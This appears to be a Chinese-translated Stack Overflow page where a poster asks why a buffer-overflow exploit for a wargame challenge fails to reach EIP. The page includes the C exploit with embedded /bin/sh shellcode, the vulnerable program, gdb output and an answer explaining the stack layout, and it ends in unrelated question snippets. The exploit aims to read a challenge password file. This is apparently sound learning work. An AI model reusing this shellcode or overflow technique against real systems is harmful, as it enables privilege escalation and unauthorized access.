- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
嗨,我真的陷入了这个问题:这是我的代码,下面是我尝试溢出的代码:
#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
char *env[2] = {sc, NULL};
char buf[B];
int i;
int *ap = (int*)(buf + A);
int ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
FILE *file;
for (i = 0; i < B - 4; i += 4)
{
if (i == 136)
*ap++ = 0xbffffc64;
else if (i == 98)
{
*ap++ = "/challenge/app-systeme/.passwd";//edx
}
else
{
if (i >= 50)
*ap++ = 0x42424242;
else if (i < 50)
*ap++ = 0xbfffffb1;//0x45454545;
}
}
file = fopen("/tmp/toto/COUCOU", "a+");
fprintf(file, "%s%s", "USERNAME=", buf);
fclose(file);
printf("AAAAWESOME");
execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}
易受攻击的代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFER 512
struct Init
{
char username[128];
uid_t uid;
pid_t pid;
};
void cpstr(char *dst, const char *src)
{
for(; *src; src++, dst++)
{
*dst = *src;
}
*dst = 0;
}
void chomp(char *buff)
{
for(; *buff; buff++)
{
if(*buff == '\n' || *buff == '\r' || *buff == '\t')
{
*buff = 0;
break;
}
}
}
struct Init Init(char *filename)
{
FILE *file;
struct Init init;
char buff[BUFFER+1];
if((file = fopen(filename, "r")) == NULL)
{
perror("[-] fopen ");
exit(0);
}
memset(&init, 0, sizeof(struct Init));
init.pid = getpid();
init.uid = getuid();
while(fgets(buff, BUFFER, file) != NULL)
{
chomp(buff);
if(strncmp(buff, "USERNAME=", 9) == 0)
{
cpstr(init.username, buff+9);
}
}
fclose(file);
return init;
}
int main(int argc, char **argv)
{
struct Init init;
if(argc != 2)
{
printf("Usage : %s <config_file>\n", argv[0]);
exit(0);
}
init = Init(argv[1]);
printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);
return 0;
}
事实上,我无法访问 eip,因为 gdb 通常显示循环中发生了段错误:
esi是溢出后第一个被压垮的寄存器,但我仍然不明白他有什么。
此时这是一个缓冲区大小,我什至可以填充 edi 和 edx,但仍然有什么用?
eip仍然无法访问吗?
通常:
gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB7FCFFF4 ECX: 0x42424242 EDX: 0x42424242 o d I t s z a P c
ESI: 0xBFFFFC64 EDI: 0x000001FF EBP: 0xBFFFFC64 ESP: 0xBFFFF8EC EIP: 0xB7E9CD88
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88: mov ecx,DWORD PTR [edx+0x8]
0xb7e9cd8b: mov edx,DWORD PTR [edx]
0xb7e9cd8d: cmp eax,ecx
0xb7e9cd8f: cmovg eax,ecx
0xb7e9cd92: test edx,edx
0xb7e9cd94: jne 0xb7e9cd88
0xb7e9cd96: repz ret
0xb7e9cd98: nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0 0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1 0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2 0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3 0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4 0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5 0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6 0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7 0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75
好吧,我似乎忘记提及二进制文件的部分 RELRO 状态。
欢迎更多光。
(gdb) disas __uflow
Dump of assembler code for function __uflow:
0xb7e9d270 <+0>: push %esi
0xb7e9d271 <+1>: push %ebx
...
0xb7e9d37c <+268>: lea 0x0(%esi,%eiz,1),%esi
=> 0xb7e9d380 <+272>: movzbl (%edx),%eax
0xb7e9d383 <+275>: add $0x1,%edx
...
0xb7e9d3b3 <+323>: call 0xb7e92ca0
0xb7e9d3b8 <+328>: jmp 0xb7e9d2b1 <__uflow+65>
End of assembler dump.
(gdb) x/i $eax
0xb7e9c588 <_IO_file_overflow+424>: add %bh,-0x1(%eax)
(gdb) vim ok
Undefined command: "vim". Try "help".
(gdb) x/i $edx
0x806c000: Cannot access memory at address 0x806c000
(gdb)
有什么东西可以检测到溢出吗?
好了,这个问题已经解决了。但相信我,我不知道我做了什么,如果有人可以给我们所有人上一课,他会很受欢迎。
最佳答案
我没有详 segmentation 析,但看起来你没有溢出main()
中的init
,你溢出了init
在 Init()
中,但事实证明它具有抗溢出能力,因为在它后面保留了一个 513 字节的缓冲区,将您与要攻击的敏感调用堆栈信息分开。
一旦Init()
通过复制操作将此结构体返回给main()
,则仅复制sizeof(struct Init)
字节,因此它不会将漏洞级联到您想要攻击的功能。
我相信,如果您想在不受任何干扰的情况下触发漏洞,您应该直接覆盖 main()
的 init
,将其传递给 Init()
作为指针,如 void Init(char *filename, struct Init *init)
。
关于c - 缓冲区溢出未到达 eip,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/31559092/
我的程序在 Windows Vista Ultimate 和 Windows 7 上运行完美,但在 Windows XP 上运行失败。 首先,我的应用程序创建一个系统文件进程,它调用 GetThrea
我正在尝试利用该程序中的缓冲区溢出我使用的是 32 位 kali_linux #include void win() { printf("code flow successfully changed
我想编写一个易受攻击的程序,以更好地理解 c# 中的 Stack Overflow(原因),也用于教育目的。基本上,我“只是”想要一个堆栈溢出,覆盖 EIP,所以我可以控制它并可以指向我自己的代码。我
嗨,我真的陷入了这个问题:这是我的代码,下面是我尝试溢出的代码: #include #define B 145 // 141 for ex overflow #define A 0 char sc[
在Spring Integration我需要按顺序将消息发送到子流 A(它将消息存储到数据库中),然后再发送到子流 B(它使用一些数据库查找)。整个 A 和 B 执行应该在一个事务的边界内执行。 最初
我正试图通过更改它的 EIP 来破解另一个程序。有两个程序在运行,一个是目标,它告诉函数“核心函数”(例如,接收密码字符串作为参数并返回 true 或 false 的函数)在内存中的位置。然后现在我知
eip 寄存器是 32 位,每条新指令都会递增。那么当它达到 32 位数字的最大值时会发生什么:4294967295。 最佳答案 通常,您不会让它发生。 %eip 不会无条件递增;它受流控制指令(如
这个问题已经有答案了: 已关闭12 年前。 Possible Duplicate: use callback function to report stack backtrace 给定一个 void
我最近一直在编写一些内核模块。对于某些模块,每次插入或删除它们时,屏幕上都会显示巨大的内核跟踪。错误有点像 ERROR: Bad EIP value. 或 ModuleName is tainted
我有一个 Camel 路由,它从队列中取出一条消息,将它发送到一个 bean 进行处理,然后将消息排回另一个队列。 我正在尝试消除第二个队列中的“重复消息”。 Camel 是否有任何端点、处理器、EI
我正在尝试解决缓冲区溢出问题。我不明白这里的 eip 值是怎么回事。 这是 C 代码: void copy(char *arg) { char msg[256]; strcpy(msg,arg
这个问题看起来像是一个肮脏的 hack,你不应该这样做,但让我先解释一下。最终目标是像 C++ 中那样拥有方法局部静态。 void Func() { static methodLocalObje
我在 ubuntu 12.04 和 64 位机器上工作。我在读一本关于缓冲区溢出的好书,在玩一个例子时发现了一个奇怪的时刻。 我有这个非常简单的 C 代码: void getInput (void)
在 x86 架构中的函数调用期间,是否存在返回地址未压入堆栈的情况? 最佳答案 号CALL根据定义,将在跳转到目标地址之前将返回地址压入堆栈。那个返回地址是 EIP (或 RIP)+ sizeof(c
我有一个 CloudFormation 模板,它为 RStudio Server 启动了一个 EC2 实例。 AWSTemplateFormatVersion: 2010-09-09 Descript
在处理一些 x86 asm 时,我想知道错误导致 EIP 被设置为 00000000 或另一个不存在的内存位置的情况。是否可以使用 SEH 或类似的错误处理机制捕获这些情况并恢复执行? (假设堆栈、堆
对于计算机体系结构和处理器/内存级别发生的低级内容,我完全是新手。我首先要说的是。我对计算机所做的工作几乎一直处于高级编程水平。 C++、Java等话虽这么说,我目前正在读一本开始深入研究低级编程内容
我(也许过于简单)对 EJB3 的理解是,它是一种将 POJO 转变为符合 Java EE 的业务逻辑单元的方法。它是可重用的,可以“插入”到跨越多个项目的不同后端架构。这是朝着真正的组件驱动架构方向
我正在尝试开发运行时堆栈跟踪器。我有一个函数,只要被跟踪的程序出现段错误,它就会返回 EIP 地址。我怎样才能回到当前函数的 ebp(被观察程序崩溃的那个函数),以便我可以开始跟踪? 最佳答案 无法将
我正在使用 Apache Camel 2.15 并发现了一个有趣的行为。我将通过 REST API 调用接收到的数据放入作为直接端点的 Camel 路由中。该路由又使用拆分的 EIP 并调用另一个也是
我是一名优秀的程序员,十分优秀!